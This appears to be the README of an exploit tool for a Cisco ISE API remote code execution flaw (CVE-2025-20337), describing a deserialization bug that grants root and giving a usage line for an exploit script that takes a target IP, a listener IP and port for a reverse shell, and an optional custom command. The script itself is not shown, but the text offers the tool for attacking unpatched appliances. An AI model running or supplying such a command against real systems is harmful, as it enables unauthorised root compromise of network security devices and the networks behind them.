Title:Cisco ISE API Unauthenticated Remote Code Execution Vulnerability (CVE-2025-20337)
Description:A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root.

## Description:

The attacker can compromise any unpatched Cisco ISE or ISE-PIC device by sending a malicious API request over the network.
No authentication or user interaction is required. By exploiting a deserialization flaw in the monitoring API, attackers gain root access to the underlying operating system. This vulnerability turns network security appliances into attack launchpads, enabling total infrastructure takeover.

### Usage

```bash
./exploit.sh -t 10.0.55.10 -l 192.168.1.100 -p 4444

# Options:
#   -t  Target IP address
#   -l  Listener IP for reverse shell
#   -p  Listener port
#   -c  Custom command (optional)
